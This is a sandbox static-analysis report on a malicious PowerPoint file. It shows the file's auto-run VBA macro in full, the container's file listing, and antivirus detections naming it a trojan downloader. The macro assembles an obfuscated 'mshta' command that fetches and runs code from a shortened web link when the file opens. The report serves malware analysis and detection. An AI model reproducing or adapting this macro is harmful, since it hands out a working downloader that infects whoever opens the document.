popup
Static | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Static Analysis

Original

                                        Attribute VB_Name = "Module"
Sub Auto_Open()
Dim calc As New polar

p_ = calc _
.computer + calc _
.computer2 + calc _
.computer3



Shell _
p_



End Sub

Deobfuscated

                                        Attribute VB_Name = "Module"
Sub Auto_Open()
Dim calc As New polar

p_ = calc _
.computer + calc _
.computer2 + calc _
.computer3



Shell _
p_



End Sub

Original

                                        Attribute VB_Name = "polar"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Property Get computer() As String
computer = "m" + "s" + "h" + "t" + "a h"
End Property
Public Property Get computer2() As String
computer2 = "t" + "t" + "p" + ":" + "/" + "/" + "w" + "w" + "w"
End Property
Public Property Get computer3() As String
computer3 = ".j.mp/ddsobpechateessentesathatesesjdw"
End Property

Deobfuscated

                                        Attribute VB_Name = "polar"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Property Get computer() As String
computer = "m" + "s" + "h" + "t" + "a h"
End Property
Public Property Get computer2() As String
computer2 = "t" + "t" + "p" + ":" + "/" + "/" + "w" + "w" + "w"
End Property
Public Property Get computer3() As String
computer3 = ".j.mp/ddsobpechateessentesathatesesjdw"
End Property
[Content_Types].xml
_rels/.rels
ppt/presentation.xml
ppt/_rels/presentation.xml.rels
0MSSnH
BT7s m$q
ppt/vbaProjectSignature.binR`a`
6.m6F
P3T1Pbc
LNU063U
-HI,I5
'-Kz*~
Hbeegf6
5ZRcil
ppt/_rels/vbaProject.bin.relsl
{{rdhG
ppt/vbaProject.bin
Lb?Z,x
x}btpd
JY<F
j{c}c=:
uKc}XLM
>&\x_h
e1~yR1
{5~Ec/
cNnbLZ
On3Cs3
[Content_Types].xmlPK
_rels/.relsPK
ppt/presentation.xmlPK
ppt/_rels/presentation.xml.relsPK
ppt/vbaProjectSignature.binPK
ppt/_rels/vbaProject.bin.relsPK
ppt/vbaProject.binPK
Antivirus Signature
DrWeb Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Clean
ALYac Clean
Malwarebytes Clean
VIPRE Clean
AegisLab Trojan.MSOffice.SAgent.4!c
Sangfor Clean
K7AntiVirus Clean
BitDefender VBA:Amphitryon.227
K7GW Clean
BitDefenderTheta Clean
Cyren Clean
Symantec Clean
ESET-NOD32 Clean
TrendMicro-HouseCall Clean
Avast Clean
Cynet Clean
Kaspersky HEUR:Trojan.MSOffice.SAgent.gen
Alibaba TrojanDownloader:VBA/MalDoc.ali1000101
NANO-Antivirus Trojan.Ole2.Vbs-heuristic.druvzi
SUPERAntiSpyware Clean
MicroWorld-eScan VBA:Amphitryon.227
Rising Clean
Ad-Aware VBA:Amphitryon.227
Emsisoft VBA:Amphitryon.227 (B)
Comodo Clean
F-Secure Clean
Baidu Clean
Zillya Clean
TrendMicro Clean
McAfee-GW-Edition Artemis!Trojan
FireEye VBA:Amphitryon.227
Sophos Clean
SentinelOne Static AI - Malicious OPENXML
Avast-Mobile Clean
Jiangmin Clean
Avira Clean
MAX Clean
Antiy-AVL Clean
Kingsoft Clean
Microsoft Clean
Gridinsoft Clean
Arcabit VBA:Amphitryon.227
ViRobot Clean
ZoneAlarm Clean
GData VBA:Amphitryon.227
AhnLab-V3 Clean
Acronis Clean
McAfee Clean
TACHYON Clean
VBA32 Clean
Zoner Clean
Tencent Clean
Yandex Clean
Ikarus Trojan-Downloader.VBA.Agent
MaxSecure Clean
Fortinet VBA/Agent.3FED!tr
Panda Clean
Qihoo-360 Clean
No IRMA results available.